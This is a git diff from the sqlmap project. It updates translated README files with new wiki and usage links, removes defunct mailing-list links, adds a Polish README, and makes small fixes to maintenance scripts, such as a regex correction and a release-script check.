||||||
|
* Начална страница: http://sqlmap.org
|
||||||
|
* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* Упътване: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
@@ -33,7 +33,7 @@ Para obtener una lista de todas las opciones:
|
|||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601).
|
Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601).
|
||||||
Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki).
|
Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Enlaces
|
Enlaces
|
||||||
---
|
---
|
||||||
@@ -44,9 +44,6 @@ Enlaces
|
|||||||
* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
|
* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki
|
* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Subscripción a la lista de correo: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* Fuente de la lista de correo "RSS feed": http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* Archivos de lista de correo: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demostraciones: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demostraciones: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
|
|||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
||||||
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki).
|
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Liens
|
Liens
|
||||||
----
|
----
|
||||||
@@ -44,9 +44,6 @@ Liens
|
|||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
|
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -34,7 +34,7 @@
|
|||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601).
|
Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601).
|
||||||
Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki).
|
Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Σύνδεσμοι
|
Σύνδεσμοι
|
||||||
----
|
----
|
||||||
@@ -45,9 +45,6 @@
|
|||||||
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
|
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
|
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Εγγραφή σε Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* Mailing list αρχείο: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -34,7 +34,7 @@ Kako biste dobili listu svih opcija i prekidača koristite:
|
|||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601).
|
Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601).
|
||||||
Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki).
|
Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Poveznice
|
Poveznice
|
||||||
----
|
----
|
||||||
@@ -45,9 +45,6 @@ Poveznice
|
|||||||
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
|
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
|
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Pretplata na mailing listu: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* RSS feed mailing liste: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* Arhiva mailing liste: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ Untuk mendapatkan daftar opsi lanjut gunakan:
|
|||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
|
Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
|
||||||
Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki).
|
Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Tautan
|
Tautan
|
||||||
----
|
----
|
||||||
@@ -46,9 +46,6 @@ Tautan
|
|||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Berlangganan milis: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* RSS feed dari milis: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* Arsip milis: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos)
|
* Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos)
|
||||||
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -34,7 +34,7 @@ Per una lista di tutte le opzioni e di tutti i controlli:
|
|||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601).
|
Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601).
|
||||||
Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) (disponibile solo in inglese).
|
Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese).
|
||||||
|
|
||||||
Link
|
Link
|
||||||
----
|
----
|
||||||
@@ -45,9 +45,6 @@ Link
|
|||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
|
* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Iscrizione alla Mailing list: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* Archivio della Mailing list: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x**
|
|||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。
|
実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。
|
||||||
sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki) で確認することができます。
|
sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) で確認することができます。
|
||||||
|
|
||||||
リンク
|
リンク
|
||||||
----
|
----
|
||||||
@@ -46,9 +46,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
|
|||||||
* 課題管理: https://github.com/sqlmapproject/sqlmap/issues
|
* 課題管理: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
|
* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* メーリングリストへの参加: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* メーリングリストのRSSフィード: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* メーリングリストのアーカイブ: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -0,0 +1,50 @@
|
|||||||
|
# sqlmap
|
||||||
|
|
||||||
|
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
|
sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalającuch na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
|
||||||
|
|
||||||
|
Zrzuty ekranowe
|
||||||
|
----
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Możesz odwiedzić [kolekcję zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstruującą na wiki niektóre możliwości.
|
||||||
|
|
||||||
|
Instalacja
|
||||||
|
----
|
||||||
|
|
||||||
|
Najnowsze tarball archiwum jest dostępne po klikcięciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po kliknięciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
|
|
||||||
|
Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
|
do użycia sqlmap potrzebny jest [Python](http://www.python.org/download/) w wersji **2.6.x** lub **2.7.x** na dowolnej platformie systemowej.
|
||||||
|
|
||||||
|
Sposób użycia
|
||||||
|
----
|
||||||
|
|
||||||
|
Aby uzyskać listę podstawowych funkcji i parametrów użyj polecenia:
|
||||||
|
|
||||||
|
python sqlmap.py -h
|
||||||
|
|
||||||
|
Aby uzyskać listę wszystkich funkcji i parametrów użyj polecenia:
|
||||||
|
|
||||||
|
python sqlmap.py -hh
|
||||||
|
|
||||||
|
Przykładowy wynik działania dostępny [tutaj](https://asciinema.org/a/46601).
|
||||||
|
Aby uzyskać listę wszystkich dostępnych fukcji, parametrów i opisów ich działania wraz z przykładami użycia sqlnap proponujemy odwiedzić [instrukjcę użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
|
Odnośniki
|
||||||
|
----
|
||||||
|
|
||||||
|
* Strona projektu: http://sqlmap.org
|
||||||
|
* Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
* Dema: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
@@ -46,9 +46,6 @@ Links
|
|||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki
|
* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos)
|
* Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos)
|
||||||
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ Bütün seçenekleri gösterir
|
|||||||
|
|
||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz
|
Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz
|
||||||
|
|
||||||
Links
|
Links
|
||||||
----
|
----
|
||||||
@@ -48,9 +48,6 @@ Links
|
|||||||
* Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues
|
* Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki
|
* Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Mail listesi: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* Mail RSS takibi: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* Mail listesi arşivi: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demolar: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demolar: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -33,7 +33,7 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和
|
|||||||
|
|
||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
|
你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
|
||||||
|
|
||||||
链接
|
链接
|
||||||
----
|
----
|
||||||
@@ -44,9 +44,6 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和
|
|||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki
|
* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* 邮件讨论列表: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
|
|
||||||
* 邮件列表 RSS 订阅: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
|
|
||||||
* 邮件列表归档: http://news.gmane.org/gmane.comp.security.sqlmap
|
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -43,7 +43,7 @@ def updateMSSQLXML():
|
|||||||
|
|
||||||
return
|
return
|
||||||
|
|
||||||
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I | re.M)
|
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
|
||||||
releasesCount = len(releases)
|
releasesCount = len(releases)
|
||||||
|
|
||||||
# Create the minidom document
|
# Create the minidom document
|
||||||
@@ -74,7 +74,7 @@ def updateMSSQLXML():
|
|||||||
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
||||||
|
|
||||||
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
||||||
servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008|2008 R2]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
|
servicepackVersion = re.findall("</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
|
||||||
|
|
||||||
for servicePack, version in servicepackVersion:
|
for servicePack, version in servicepackVersion:
|
||||||
if servicePack.startswith(" "):
|
if servicePack.startswith(" "):
|
||||||
|
|||||||
@@ -1,3 +1,3 @@
|
|||||||
Files in this folder can be used to compile auxiliary program that can
|
runcmd.exe is an auxiliary program that can be used for running command prompt
|
||||||
be used for running command prompt commands skipping standard "cmd /c" way.
|
commands skipping standard "cmd /c" way. It is licensed under the terms of the
|
||||||
They are licensed under the terms of the GNU Lesser General Public License.
|
GNU Lesser General Public License.
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ then
|
|||||||
NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE")
|
NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE")
|
||||||
if [ -n "$NEW_TAG" ]
|
if [ -n "$NEW_TAG" ]
|
||||||
then
|
then
|
||||||
git commit -am "Automatic monthly tagging"
|
#git commit -am "Automatic monthly tagging"
|
||||||
echo "Creating new tag ${NEW_TAG}"
|
echo "Creating new tag ${NEW_TAG}"
|
||||||
git tag $NEW_TAG
|
git tag $NEW_TAG
|
||||||
git push origin $NEW_TAG
|
git push origin $NEW_TAG
|
||||||
|
|||||||
@@ -0,0 +1,7 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
|
# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
|
||||||
|
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py2diatra '{}' \; | grep -v bare-except
|
||||||
@@ -1,5 +1,10 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
|
if [ ! -f ~/.pypirc ]; then
|
||||||
|
echo "File ~/.pypirc is missing"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
declare -x SCRIPTPATH="${0}"
|
declare -x SCRIPTPATH="${0}"
|
||||||
